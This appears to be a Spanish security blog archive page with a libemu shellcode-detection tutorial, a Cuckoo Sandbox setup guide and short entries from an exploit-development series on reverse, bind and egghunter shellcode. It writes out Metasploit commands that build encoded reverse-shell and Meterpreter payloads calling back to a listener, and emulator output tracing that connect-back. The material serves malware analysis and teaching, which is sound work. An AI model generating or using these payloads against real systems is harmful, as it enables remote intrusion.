Archivo
Detección de malware con libemu
Una de las principales tareas de cualquier investigador de malware consiste precisamente en obtener, analizar y comprender el funcionamiento de todas las muestras que pueda, de esta forma podrá entender mucho mejor las técnicas utilizadas por las personas que se dedican a crear este tipo de programas. Además de hacerlo por “diversión y beneficio”, la detección y posterior análisis de malware son algunas de las principales rutinas que se suelen implementar en sistemas IDS/IPS tales como Suricata y Snort o en HoneyPots tales como Dionaea. Para ello, existen varias librerías que ayudan a crear hooks para monitorizar y analizar algunas de las “API Calls” más utilizadas en programas maliciosos, una bastante conocida es PyDBG, la cual es ampliamente utilizada en proyectos tales como Pamei/Sulley Framework.
Sin embargo, no solamente existen librerías en Python para este tipo de actividades, y de hecho, otro lenguaje que se ha utilizado y se sigue utilizando con bastante frecuencia para la elaboración de analizadores de código malicioso es C/C++ y sobre dicho lenguaje, se encuentra desarrollada una de las librerías más potentes que conozco para el análisis de muestras de malware: LibEmu.
“Libemu es una librería que permite realizar un proceso básico de emulación sobre sistemas con arqutectura x86 y además, permite la detección de shellcodes utilizando heurísticas GetPC.”
Este mismo texto será el que encuentres en la página oficial de Libemu (http://libemu.carnivore.it/) pero para comprender realmente lo que significa, hace falta tener claros ciertos conceptos:
“Proceso básico de emulación”: Concretamente sobre las instrucciones disponibles en arquitecturas x86. Un proceso de emulación, a diferencia de un proceso de simulación, pretende modelar el comportamiento de un programa de la forma más precisa y exacta posible, creando para ello una plataforma completa que permita reproducir el funcionamiento del programa. Esto quiere decir que LibEmu se encarga de replicar las instrucciones básicas de un sistema, funcionando de un modo similar a una máquina virtual pero con la diferencia de que un emulador tiende a ser mucho más lento y permite emular también la CPU.
“Heurísticas GetPC”: Get Program Counter o también conocido como GetEIP en arquitecturas x86 es una técnica comúnmente utilizada en el desarrollo de shellcodes para determinar la ubicación del shellcode en el espacio de direcciones del proceso. Este tipo de rutinas son vitales para realizar procesos de decodificación y mutación, en las cuales el shellcode necesita conocer la ubicación en la que ha sido inyectado dentro del proceso vulnerable. “GetPC” no es una única técnica, sino que abarca varias técnicas que combinan instrucciones para conocer la dirección de memoria en la que se encuentra el shellcode. Algunas de dichas instrucciones son: CALL GetPC, FSTENV GetPC, SEH GetPC (sobre sistemas Windows y no soportado por LibEmu), entre otras que explicaré en un próximo articulo.
Para instalar LibEmu, se puede descargar la última versión estable desde el sitio web oficial en: http://libemu.carnivore.it/#download, desde el repositorio Git o utilizando el comando “apt-get install libemu2” en sistemas basados en Debian. En este caso, se utilizará la versión de desarrollo que se encuentra incluida en el repositorio.
| >git clone git://git.carnivore.it/libemu.git>autoreconf -v -i
>./configure –prefix=/opt/libemu –enable-python-bindings –disable-werror >make |
Como se puede apreciar, a la hora de configurar el ejecutable con el comando “configure”, se ha utilizado la opción “–enable-python-bindings”, de esta forma se instalan también los “bindings” de Python para LibEmu de forma automática, es decir, se encarga de instalar la librería “pylibemu” para utilizar LibEmu desde Python, algo de lo que se hablará en un próximo articulo.
Una vez se ha terminado de instalar la librería en el sistema, contamos con algunas herramientas que son muy útiles para el análisis de malware y son las que le dan “vida” a LibEmu.
Para poder probar su funcionamiento se puede utilizar cualquier malware disponible en Internet (con precaución obviamente) o utilizando alguno de los payloads que se pueden generar con Metasploit Framework. Independiente del mecanismo utilizado, lo interesante de LibEmu son los resultados que arroja cuando se ejecutan utilidades como “sctest”.
Utilizando “msfvenom” de Metasploit Framework se creará un payload malicioso que posteriormente será utilizado para realizar las pruebas con LibEmu.
| ./msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.244 LPORT=4444 -e x86/shikata_ga_nai -f raw > testingPayload.bin No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 98 (iteration=0) |
Se ha utilizado “msfvenom”, un sustituto de la utilidad “msfpayload”, la cual se encuentra deprecada y que próximamente será removida del proyecto.
El fichero generado se ha nombrado como “testingPayload” y a continuación será utilizado con LibEmu y la utilidad “sctest” para ver el contenido del fichero y determinar si se trata de un programa malicioso o no.
En primer lugar, algunas de las opciones disponibles en “sctest” se pueden listar con el interruptor “-h/–help”
| ./sctest –help -a PATH use this argos csi files as input
–argos-csi= PATH -b IP:PORT bind this ip:port –bind=IP:PORT -c IP:PORT redirect connects to this ip:port –connect=IP:PORT -C CMD command to execute for “cmd” in shellcode (default: cmd=”/bin/sh -c \”cd ~/.wine/drive_c/; wine ‘c:\windows\system32\cmd_orig.exe’ \””) –cmd= CMD -d INTEGER dump the shellcode (binary) to stdout –dump=INTEGER -g run getpc mode, try to detect a shellcode –getpc -G FILEPATH save a dot formatted callgraph in filepath –graph=FILEPATH -h show this help –help -i proxy api calls to the host operating system –interactive -l list all tests –listtests -o [INT|HEX] manual offset for shellcode, accepts int and hexvalues –offset=[INT|HEX] -p PATH write shellcode profile to this file –profile= PATH -S read shellcode/buffer from stdin, works with -g –stdin -s INTEGER max number of steps to run –steps=INTEGER -t INTEGER the test to run –testnumber=INTEGER -v be verbose, can be used multiple times, f.e. -vv –verbose |
Algunas resultan especialmente interesantes de cara a la detección de un programa malicioso, especialmente “-S”, “-t”, “-l” y “-g”.
Con la opción “-l” se pueden ver las pruebas que realizará la herramienta para detectar payloads maliciosos.
| >./sctest -l 0 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com1 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=344 Encoder=Pex http://metasploit.com 2 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com 3 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com 4 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=344 Encoder=ShikataGaNai http://metasploit.com 5 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=349 Encoder=JmpCallAdditive http://metasploit.com 6 ) win32_reverse – EXITFUNC=seh LHOST=216.75.15.231 LPORT=4321 Size=287 Encoder=None http://metasploit.com 7 ) win32_downloadexec – URL=http://nepenthes.mwcollect.org/bad.exe Size=378 Encoder=None http://metasploit.com 8 ) win32_exec – EXITFUNC=seh CMD=cmd -c http://ftp.exe -s foo.scripted_sequence; echo der fox hat die gans gezogen Size=205 Encoder=None http://metasploit.com 9 ) some old dcom shellcode 10) brihgtstor discovery 11) amberg 12) lindau – linkbot connectback version 13) bremen – linkbot bind version 14) halle – filetransferr via csend 15) tills neuer 16) win32_bind pex & ./clet -S win32_bind_pex -b 50 -t -B -c -f ../spectrum/stat2 -a -n 123 17) clet decoded nop slide (144 0x90 decoded with ./clet -S 144nop -b 50 -t -B -c -f ../spectrum/stat2 -a -n 123) 18) the hackers choice realplayer 8 exploit 19) win32_bind_vncinject – VNCDLL=/home/opcode/msfweb/framework/data/vncdll.dll EXITFUNC=seh AUTOVNC=1 VNCPORT=5900 LPORT=4444 Size=287 Encoder=None http://metasploit.com 20) windows/vncinject/reverse_tcp – 177 bytes (stage 1) http://www.metasploit.com DisableCourtesyShell=false, VNCHOST=127.0.0.1, VNCPORT=5900, EXITFUNC=seh, DLL=/tmp/framework-3.0/data/vncdll.dll, LPORT=4444, LHOST=192.168.53.20, AUTOVNC=true 21) till sein lsass dump 22) bindshell::schoenborn 23) sqlslammer 24) linux bindshell 25) Windows bindshell 0.0.0.0:8594 – tried exploit PNP_QueryResConfList/MS05-39 26) Windows bind filetransfer 0.0.0.0:38963 – tried to exploit DsRolerUpgradeDownlevelServer/MS04-11 27) libemu dos 28) windows/shell_bind_tcp AutoRunScript=, EXITFUNC=process, InitialAutoRunScript=, LPORT=4444, RHOST= http://www.metasploit.com 29) crash in loadlibrary 30) crash in fwrite 31) crash in lwrite/hwrite 32) crash in malloc 33) crash in send 34) crash in execve |
Algunas de las pruebas que realiza la utilidad son bastante conocidas y por defecto las realiza todas, pero si se indica el interruptor “-t”, solamente se ejecutará la prueba con el identificador especificado.
A continuación se puede ejecutar “sctest” utilizando los interruptores “-g”, “-v”.
| >./sctest -gS -s 150 -v < /home/adastra/Escritorio/testingPayload.bin verbose = 1
success offset = 0x00000000 int socket(int domain=2, int type=1, int protocol=0); connect stepcount 106 int socket ( int domain = 2; int type = 1; int protocol = 0; ) = 14; int connect ( int sockfd = 14; struct sockaddr_in * serv_addr = 0x00416fc2 => struct = { short sin_family = 2; unsigned short sin_port = 23569 (port=4444); struct in_addr sin_addr = { unsigned long s_addr = -201217856 (host=192.168.1.244); }; char sin_zero = ” “; }; int addrlen = 102; ) = 0; |
Como se puede apreciar, “sctest” ha detectado que el programa en cuestión tiene un payload malicioso que se encarga de conectarse al puerto “4444” del host “192.168.1.244”. Como se puede ver, aparecen cada una de las funciones que en conjunto, representan un patrón malicioso conocido.
Por otro lado, también es posible importar los resultados en una imagen con la representación gráfica de cada una de las invocaciones que se han realizado.
| >./sctest -gS -s 150 -v -G /home/adastra/Escritorio/payloadGraph.dot < /home/adastra/Escritorio/payload.bin |
El formato generado por la herramienta es “DOT”, el cual puede ser rápidamente convertido a un formato mucho más conocido como JPEG o PNG utilizando Graphviz.
| >sudo apt-get install graphviz |
El resultado de ejecutar la utilidad con la opción “-G” se puede ver en la siguiente imagen.
Flujo de invocaciones del programa
Para la detección de shellcodes, LibEmu se basa en técnicas GetPC tal como se ha visto anteriormente, con lo cual, para comprender cómo funciona LibEmu, lo más importante es comprender el funcionamiento de las técnicas GetPC, especialmente las basadas en llamadas (CALL) y en la función FNSTNV. En un próximo articulo intentaré profundizar un poco más en estas secuencias de instrucciones.
Un saludo y Happy Hack!
Adastra.
Cuckoo Sandbox y detección de malware
El concepto de “Sandbox” es bastante común en informática cuando se habla de temas relacionados con la seguridad y casi siempre se refiere a una zona restringida, en la que los elementos que se ejecutan en el entorno se encuentran aislados de los recursos sensibles del sistema y con acceso restringido a funciones criticas. Por ejemplo, en el caso de la plataforma Java, algunas aplicaciones poco fiables, como los Applets, se ejecutan en una zona de Sandbox, en la que el proceso del programa no puede interactuar directamente con los recursos del sistema, ya que se encuentra aislado y con acceso limitado.
Este mismo concepto es adoptado por varias herramientas para el análisis de malware, de tal forma que es posible detectar y analizar el comportamiento de un programa malicioso sin poner en riesgo todo el sistema, ya que se ejecuta en un entorno aislado y controlado. Se trata de un enfoque muy potente que ayuda a los investigadores a comprobar el funcionamiento de un programa potencialmente dañino y de esta forma, determinar cuáles son las medidas preventivas que se deben tomar o simplemente, saber cómo funcionan.
En este sentido existen varias herramientas de sandboxing para diferentes plataformas, como por ejemplo Windows o Linux. En esta ocasión, corresponde hablar sobre Cuckoo Sandbox.
Cuckoo es probablemente el framework open source más utilizado por investigadores y analistas a la hora de descubrir el funcionamiento de amenazas de todo tipo en un entorno controlado.
Cuckoo es un sistema centralizado, donde una máquina se encarga de ejecutar los
componentes “core” del sistema y por otro lado, hay máquinas virtuales aisladas que permiten la ejecución de los programas que deben ser analizados. La máquina donde corre Cuckoo se encarga de gestionar el estado de cada una de las máquinas virtuales definidas en el fichero de configuración de la herramienta y se encarga, entre otras cosas, de iniciar, detener y enviar muestras de Malware a las máquinas virtuales especificadas.
Instalación y configuración de Cuckoo Sandbox.
Después de comprender el funcionamiento básico de Cuckoo, procedemos a su instalación y para ello, es necesario descargar la última versión disponible desde el siguiente enlace http://www.cuckoosandbox.org/download.html
Existe la posibilidad de descargar la última versión de la herramienta o descargar una “tag” especifica del repositorio GIT. Para instalar todas las dependencias necesarias y poder comenzar a utilizar Cuckoo, se recomienda utilizar PIP.
| git://github.com/cuckoobox/cuckoo.git
cd cuckoo/ pip install -r requirements.txt |
El siguiente paso consiste en configurar el motor de análisis y para ello, es necesario establecer un valor valido a algunas de las propiedades que se definen en el fichero “/conf/cuckoo.conf”.
Una de las ventajas que tienen los ficheros de configuración de cuckoo es que vienen muy bien explicados y leyendo la descripción de cada propiedad, es sencillo saber cuáles son los valores que se deben utilizar o si con el valor por defecto es suficiente. En concreto, las principales propiedades que es conveniente revisar son las siguientes:
– machinery: Define el software de virtualización que se utilizará para arrancar las máquinas virtuales que actuarán como “guest”. El valor por defecto es “virtualbox” y es método recomendado para hacer las pruebas.
– ip: Se trata de la dirección en la que arrancará el servidor. Dicha dirección debe ser accesible desde las máquinas “guest”.
– port: Puerto utilizado por el servidor para recibir los resultados de las pruebas ejecutadas en las máquinas “guest”.
– connection: Permite especificar una conexión a base de datos. Si no se especifica ningún valor, por defecto utilizará una base de datos SQLite ubicada en “db/cuckoo.db”.
Además, en dicho fichero es necesario definir un bloque de configuración para cada una de las máquinas virtuales que actuarán como “guest” y en dicho bloque, se deben definir detalles específicos de la máquina virtual, como por ejemplo el usuario y contraseña para iniciar sesión. El contenido de este fichero puede ser como se indica a continuación
/conf/cuckoo.conf.
| [cuckoo]
version_check = on delete_original = off delete_bin_copy = off machinery = virtualbox memory_dump = off terminate_processes = off reschedule = off process_results = on max_analysis_count = 0 max_machines_count = 0 freespace = 64 tmppath = /tmp [resultserver] ip = 192.168.1.98 port = 2042 store_csvs = off upload_max_size = 10485760 [processing] analysis_size_limit = 104857600 resolve_dns = on [database] connection = timeout = [timeouts] default = 120 critical = 600 vm_state = 300 [BELARMINO] name = BELARMINO username = jdaanial password = jdaanial |
El fichero “cuckoo.conf” permite definir las propiedades generales del motor de análisis, pero existen otros ficheros de configuración que también es necesario configurar, como por ejemplo los ficheros “conf/vitualbox.conf”, “conf/vmware.conf”, “conf/kvm.conf” que permiten configurar detalles concretos de la plataforma de virtualización empleada.
En este caso, nos centraremos en VirtualBox, con lo cual es necesario ajustar las siguientes propiedades definidas en el fichero “/conf/vitualbox.conf”.
– path: Indica la ubicación de la utilidad VBoxManage. Su valor por defecto es “/usr/bin/VboxManage”.
– machines: Listado con los nombres de las máquinas virtuales que serán utilizadas por
Cuckoo. Cada uno de los nombres debe ir separado por coma.
– [nombre_maquina_virtual]: El fichero permite declarar secciones de configuración para cada una de las máquinas virtuales definidas en la propiedad “machines”. Cada uno de estos bloques permite varias propiedades, sin embargo aquellas que son obligatorias se listan a continuación:
- label: Nombre de la máquina virtual definido en la configuración de VirtualBox.
- platform: Sistema operativo de la máquina virtual. Los valores soportados a la fecha son “windows”, “darwin” y “linux”.
- ip: Dirección IP de la máquina virtual.El siguiente es un contenido valido para el fichero de configuración anteriormente explicado.
| [virtualbox]
mode = gui path = /usr/bin/VBoxManage machines = BELARMINO [BELARMINO] label = BELARMINO platform = windows ip = 192.168.1.209 |
Existen otros ficheros de configuración que permiten controlar los módulos de Cuckoo y herramientas externas como Volatility Framework. Sin embargo, con los ficheros anteriores es suficiente para comenzar a utilizar Cuckoo con una única máquina “guest”.
| ./cuckoo.py -d |
Tras ejecutar el comando anterior, Cuckoo se encargará de gestionar automáticamente la máquina virtual definida en los ficheros de configuración explicados anteriormente y tal como se enseña en la siguiente imagen, quedará en estado de espera hasta que se envíen muestras de malware al motor de análisis.
Ejecución Cuckoo Sandbox
Nota: Es posible que cuckoo encuentre problemas con los estados de la máquina virtual, por ese motivo se recomienda crear un snapshot antes de arrancar el motor de análisis con los siguientes comandos
|
>vboxmanage controlvm “BELARMINO” poweroff >vboxmanage snapshot “BELARMINO” take “BELARMINO” >vboxmanage snapshot “BELARMINO” restorecurrent >vboxheadless –startvm “BELARMINO” |
Configuración de las máquinas virtuales y envío de muestras de malware a los agentes.
Después de iniciar el servidor de Cuckoo, el siguiente paso consiste en establecer los agentes en una o varias máquinas virtuales definidas en el fichero “conf/virtualbox.conf”. En cada una de dichas máquinas virtuales, se debe instalar Python para poder ejecutar el agente que se encargará de procesar cada uno de los ficheros maliciosos enviados desde el servidor y los resultados serán enviados al servidor de Cuckoo después de que el agente termine de procesarlos.
Cada una de las máquinas virtuales que actuarán como agentes deben cumplir con los siguientes requerimientos mínimos para poder ser utilizadas desde Cuckoo:
– Instalación de Python (Verisón 2.7 recomendada).
– Instalación del módulo PIL para Python. Se trata de una dependencia opcional, pero es recomendable ya que permite crear capturas de pantalla. Se puede obtener desde el siguiente enlace: http://www.pythonware.com/products/pil/
– Desactivar el Firewall de Windows y las actualizaciones automáticas.
– Instalar cualquier otra aplicación necesaria para realizar las pruebas. Lectores de ficheros PDF, procesadores de texto, servidores vulnerables, etc. El agente de Cuckoo se encuentra ubicado en el directorio “/agent/agent.py” el cual debe ser transferido a la máquina virtual y preferiblemente ubicarlo en el directorio “C:\Python27” con el nombre agent.pyw. Se recomienda editar el registro de Windows para que el agente se ejecute de forma automática cada vez que el sistema arranque. Para ello es necesario editar la clave “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”.
Después de ejecutar el agente, se abrirá puerto 8000 para recibir todas las peticiones desde el servidor de Cuckoo.
Con todos los requisitos cumplidos, el siguiente paso lógico consiste en enviar muestras de malware a los agentes y analizar su comportamiento. Para crear una muestra maliciosa, se utilizará Metasploit Framework.
| >msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.98 LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -c 5 -t exe -o sample.exe |
El fichero malicioso resultante puede ser enviado al motor de Cuckoo, el cual se encargará de transferirlo a cada uno de los agentes asociados. Para ello el script “submit.py” que se encuentra ubicado en el directorio “/util” permite enviar un fichero al motor de análisis de Cuckoo.
| >python submit.py /home/adastra/Escritorio/sample.exe
Success: File “/home/adastra/Escritorio/sample.exe” added as task with ID 1 |
Después de ejecutar el comando anterior, se puede apreciar que la muestra ha sido enviada correctamente y se ha creado la tarea con identificador “1”.
Ahora, es posible acceder a los resultados por medio de una interfaz web bastante simple e intuitiva que se iniciará al ejecutar el script “web.py” ubicado en el directorio
“CUCKOO_INSTALL/util”
| >python web.py
Bottle v0.12.7 server starting up (using WSGIRefServer())… Listening on http://0.0.0.0:8080/ Hit Ctrl-C to quit. |
Desde la interfaz web, se podrán subir muestras desde un formulario y también se podrá visualizar el estado de aquellas muestras que han sido enviadas con anterioridad.
Listado de muestras enviadas al motor de análisis de Cuckoo
En este articulo solamente se ha explicado la configuración básica del motor de análisis con un único “guest”, pero es una herramienta bastante flexible que merece la pena probar y “pegarse” un poco con ella. Os invito a que lo intentéis.
Saludos y Happy Hack!
Explotación de Software Parte 34 – Desarrollo de Shellcodes en Linux – Egghunters
Explicación sobre el funcionamiento y uso de los EggHunters bajo plataformas Linux.
Utilizamos las técnicas descritas por Skape en su paper titulado “Safely Searching Process Virtual Address Space” el cual puede ser encontrado en el siguiente enlace: http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
skapeEggHunter.nasm: https://github.com/Adastra-thw/ExploitSerie/blob/master/skapeEggHunter.nasm
shellcodeEggHunter.c: https://github.com/Adastra-thw/ExploitSerie/blob/master/shellcodeEggHunter.c
Repositorio GIT de la serie:
https://github.com/Adastra-thw/ExploitSerie.git
Explotación de Software Parte 33 – Desarrollo de Shellcodes en Linux – Reverse Shell
Desarrollo de una ReverseShell en un sistema Linux. Se enseña el uso de la systemcall “socketcall” con las funciones “socket” y “connect”.
reverse.nasm: https://github.com/Adastra-thw/ExploitSerie/blob/master/reverse.nasm
reverseTest.c: https://github.com/Adastra-thw/ExploitSerie/blob/master/reverseTest.c
Repositorio GIT de la serie:
https://github.com/Adastra-thw/ExploitSerie.git
Explotación de Software Parte 32 – Desarrollo de Shellcodes en Linux – Bind Shell
Desarrollo de una BindShell en un sistema Linux. Se enseña el uso de la systemcall “socketcall” con las funciones “socket”, “bind”, “listen” y “accept”.
dump.sh: https://github.com/Adastra-thw/ExploitSerie/blob/master/dump.sh
bind.nasm: https://github.com/Adastra-thw/ExploitSerie/blob/master/bind.nasm
Repositorio GIT de la serie:
https://github.com/Adastra-thw/ExploitSerie.git
Explotación de Software Parte 31 – Desarrollo de Shellcodes en Linux – Execve Local Shell
Primer vídeo en el que se hace un énfasis especial en el desarrollo de shellcodes bajo sistemas Linux. Se enseña un ejemplo en el que es posible generar una shell local.
dump.sh: https://github.com/Adastra-thw/ExploitSerie/blob/master/dump.sh
shell.nasm: https://github.com/Adastra-thw/ExploitSerie/blob/master/shell.nasm
exit.nasm: https://github.com/Adastra-thw/ExploitSerie/blob/master/exit.nasm
Repositorio GIT de la serie:
https://github.com/Adastra-thw/ExploitSerie.git
Explotación de Software Parte 29 – Identificando Bad Characters en Shellcodes
Uso de mona.py para la generación de un array con todos los posibles caracteres que se pueden incluir en un shellcode.
Posteriormente, se identifican y remueven todos aquellos caracteres que alteren el array.
exploitMinishare2.py: https://github.com/Adastra-thw/ExploitSerie/blob/master/exploitMinishare2.py
Server-Strcpy.exe: https://github.com/Adastra-thw/ExploitSerie/blob/master/Server-Strcpy.exe
strcpyExploit.py: https://github.com/Adastra-thw/ExploitSerie/blob/master/strcpyExploit.py
Repositorio GIT de la serie:
https://github.com/Adastra-thw/ExploitSerie.git
Servicios en TheHackerWay
Descubre los productos y servicios enfocados a la seguridad informática que ofrecemos en TheHackerWay
Deep web: Privacidad y anonimato.
Compra el libro de "Deep Web: TOR, FreeNET & I2P - Privacidad y Anonimato"
Hacking con Python
Compra el libro de "Hacking con Python".
Python para Pentesters
Compra el libro de "Python para Pentesters".
Número de Visitas:
Sobre Adastra:
Soy un entusiasta de la tecnología y la seguridad informática, me siento atraído principalmente por la cultura y los fundamentos del Gray Hat Hacking.
Soy una persona afortunada de poder dedicar mi tiempo y energía en hacer lo que me apasiona, aprendiendo y compartiendo lo aprendido. Con bastante frecuencia iré publicando entradas relacionadas con estudios y técnicas que he ido asimilando a lo largo de mis investigaciones, todas enfocadas a las diferentes facetas de la informática con un énfasis especial en la seguridad.
Saludos y Happy Hack!
